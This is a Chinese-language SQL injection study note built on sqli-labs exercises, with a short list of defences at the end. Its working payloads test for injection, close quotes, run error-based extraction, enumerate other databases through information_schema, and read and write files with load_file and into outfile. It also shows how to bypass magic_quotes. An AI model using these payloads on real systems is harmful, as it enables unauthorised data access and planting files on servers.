1.SQL简介:
SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作,比如 MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。
本来有一些基础知识有在sql注入小总里写,现在还是再提一下:
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
是否存在注入点:
1.and (要求and前后两个条件正确才会返回正确)
?id=10’and 1=1(返回正常)
?id=10’and 1=2(报错)
当然也可以不用等于号(有时候=被过滤了)
?id=10’and 2>1(返回正常)
?id=10’and 1>2(报错)
2.or(只需or前后两条件中有一个正确即可返回正确)
?id=10’or 1=1(返回正确)
?id=10’or 1=2 (返回正确)
闭合:
最为常见的是数字型和字符型,主要是要达到闭合的效果
用sqlilabs里的几个题目举几个小栗子:
Less-3
id=-1’) union select 1,2,3 – -
Less-4
id=-1") union select 1,2,3 – -
Less-6
id=-1" union select 1,2,3 – -
由于最近做了两个题,也是关于闭合的:
题型一:
两个注入点,且过滤了单引号
闭合:username=&password=or/**/extractvalue(1,concat(0x7e,database()))%23
题型二:
两个注入点,且过滤了注释符,等号 等
闭合:from=&to=or/**/‘1’<'2
2.MySQL 5.x数据结构:
查看所有数据库:show databases;
选择数据库A:use A;
查看A数据库下的表: show tables;
查看A数据库下的B表内容:select * from B;
…有很多语句,有需要时可以在菜鸟教程里查找。
3.跨库攻击:
前提条件:必须是高权限用户才能执行跨库查询
用sqli-labs-master/Less-2举例
首先在数据库里查看拥有最高权限root的host名
然后在题目中查看当前的用户:
?id=-1%20union%20select%201,user(),3
确定是最高权限后,进行跨库查询:
1.首先
最开始在数据库建了一个test库(用来做测试),内表名为aaaa,字段名为id,pass;字段内容有
2.获取所有数据库名称:
union select 1,group_concat(schema_name),3
from information_schema.schemata
3.获取test数据库表名:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘test’
4.获取字段名:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘aaaa’ and table_schema=‘test’
5.查看字段内容
4.文件读写:
由于:
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
所以在sqlilabs测试读取文件之前,首先要在inc中加入:
load_file 文件读取 into outfile 或into dumpfile 文件写入
1.读取C盘下ccc.txt文件:
?id=-1 union select 1,load_file(‘C://ccc.txt’),3
2.写入:
将x写入www.txt中
?id=-1 union select 1,‘x’,3 into outfile ‘D:\www.txt’–+
了解文件的写入和读取后,我们需要获取文件的路径
6.路径获取的常见方法:
**1.报错显示:**一般网站出现错误的时候会泄露出路径
**2.遗留文件:**站长为了调试信息的时候遗留的文件而泄露的 路径。用扫描工具可以扫出 (inurl:phpinfo.php)
3.漏洞报错:知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms 爆路径/zblog 爆路径
4.平台配置文件:通过读取文件来读取搭建网站平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径
5.爆破
通过字典对路径爆破进行获取
6.拓展链接:一篇关于读取敏感信息的文:/weixin_30292843/article/details/99381669
魔术引号及常见防护:magic_quotes_gpc
作用:为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同
绕过方法:
1.hex(16进制)编码绕过 (编码后魔术引号将不再对其生效)
2.宽字节注入
7.防护:
1.内置函数 is_int() 无解
检测变量是否为整数
2.魔术引号 3.WAF防护软件:安全狗 宝塔等 4.低版本(小于5.0的mysql 查表名或列名时)注入配合读取或暴力破解(靠猜!) 5.自定义关键字:select等·